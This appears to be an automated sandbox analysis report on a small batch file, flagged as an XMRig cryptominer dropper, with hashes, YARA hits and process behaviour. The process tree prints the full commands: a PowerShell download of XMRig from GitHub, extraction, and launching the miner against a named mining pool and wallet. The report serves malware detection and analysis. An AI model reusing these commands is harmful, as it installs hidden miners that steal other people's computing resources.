Analysis
-
max time kernel
891s -
max time network
901s -
platform
windows10-ltsc_2021_x64 -
resource
win10ltsc2021-20250314-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system -
submitted
28/03/2025, 10:10
Behavioral task
behavioral1
Sample
script.bat
Resource
win10v2004-20250314-en
Behavioral task
behavioral2
Sample
script.bat
Resource
win10ltsc2021-20250314-en
General
-
Target
script.bat
-
Size
793B
-
MD5
f29c7cf031f619739012fdbfa95bba54
-
SHA1
ccddd138b2e91a4da65da97ec11f2dc661782e60
-
SHA256
5e45e7089ffaee30e35a4b61eb918255fbd60c8876956c039165c89a45b51717
-
SHA512
1eaff6b177df441c856001e7b1367bc6697552f52249df64531d7eaa6ce5c3b05acfb8b6df791370acc7516cdc798b629693f3ce0b26062998ccd7fb558386e5
Malware Config
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral2/files/0x0008000000028110-59.dat family_xmrig behavioral2/files/0x0008000000028110-59.dat xmrig behavioral2/memory/4548-61-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-62-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-63-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-64-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-65-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-66-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-67-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-68-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-69-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-70-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-71-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-72-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-73-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-74-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-75-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-76-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-77-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-78-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-79-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-80-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-81-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-82-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-83-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-84-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-85-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-86-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-87-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-88-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-89-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-90-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-91-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-92-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-93-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-94-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-95-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-96-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-97-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-98-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-99-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-100-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-101-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-102-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-103-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-104-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-105-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-106-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-107-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-108-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-109-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-110-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-111-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-112-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-113-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-114-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-115-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-116-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-117-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-118-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-119-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-120-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-121-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig behavioral2/memory/4548-122-0x00007FF743CE0000-0x00007FF744914000-memory.dmp xmrig -
Xmrig family
-
Blocklisted process makes network request 2 IoCs
flow pid Process 7 2976 powershell.exe 9 2976 powershell.exe -
pid Process 2976 powershell.exe 4580 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4548 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2976 powershell.exe 2976 powershell.exe 4580 powershell.exe 4580 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2976 powershell.exe Token: SeDebugPrivilege 4580 powershell.exe Token: SeLockMemoryPrivilege 4548 xmrig.exe Token: SeLockMemoryPrivilege 4548 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4548 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1656 wrote to memory of 2976 1656 cmd.exe 82 PID 1656 wrote to memory of 2976 1656 cmd.exe 82 PID 1656 wrote to memory of 4580 1656 cmd.exe 88 PID 1656 wrote to memory of 4580 1656 cmd.exe 88 PID 1656 wrote to memory of 4548 1656 cmd.exe 89 PID 1656 wrote to memory of 4548 1656 cmd.exe 89
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\script.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-gcc-win64.zip' -OutFile 'C:\Users\Admin\Downloads\xmrig.zip'"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2976
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Expand-Archive -Path 'C:\Users\Admin\Downloads\xmrig.zip' -DestinationPath 'C:\Users\Admin\Downloads\xmrig' -Force"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4580
-
-
C:\Users\Admin\Downloads\xmrig\xmrig-6.22.2\xmrig.exexmrig.exe -o xmrpool.eu:3333 -u 48iBkXw7ciAGbjhPdopSM8JtQy2rAx7MZgX2xbf6Sx3oASN6kAQo6nWYDwmDk6kmYPeVRPi8p1KUUGnp6T3Csuge8aPMtYS -p device32⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4548
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5ed30ca9187bf5593affb3dc9276309a6
SHA1c63757897a6c43a44102b221fe8dc36355e99359
SHA25681fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
SHA5121df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810
-
Filesize
1KB
MD50fe2c5d363d54264826e5e628fcf0867
SHA13d093fe8cb876a863035e7a0cfd7081e0f56c919
SHA256d8c92806715fdc3dff7f4cb1f07564a7a02bb66e160d622af4f62b45c6ae4e28
SHA5124a664265f9a377c7913314d19ba16b9a0a893d1acbf1afd854a31921db5ab4de35a67f257dd01964664aaeaa522f996a0b388abdab5e9c3d9b90defefa1f6621
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.6MB
MD55e48d84b33cc0ca0cdb29b03a875fd3a
SHA1597660c787259fad45f0e69cbb64fb781333c598
SHA25653b37a734ab27bb40626c6434029defbebe8470f2d89b97e7ce85b40c9a3b05f
SHA512a8a3d14a0ffb27fbc1a3e73c3e8dd2d0d7a35e9dc89eb14d9704d75cc9f424c539c042ae71c56197a90915a44fc19f4942c27b87aa0feae339b15a2853fdd3a8
-
Filesize
9.1MB
MD5cb166d49ce846727ed70134b589b0142
SHA18f5e1c7792e9580f2b10d7bef6dc7e63ea044688
SHA25649da580656e51214d59702a1d983eff143af3560a344f524fe86326c53fb5ddb
SHA512a39bd86a148af26fd31a0d171078fb7bce0951bb8ea63658d87f6bde97dbc214c62e8bd7152d1e621051de8a0ba77ffd7bda7c1106afb740584c80e68e1912ed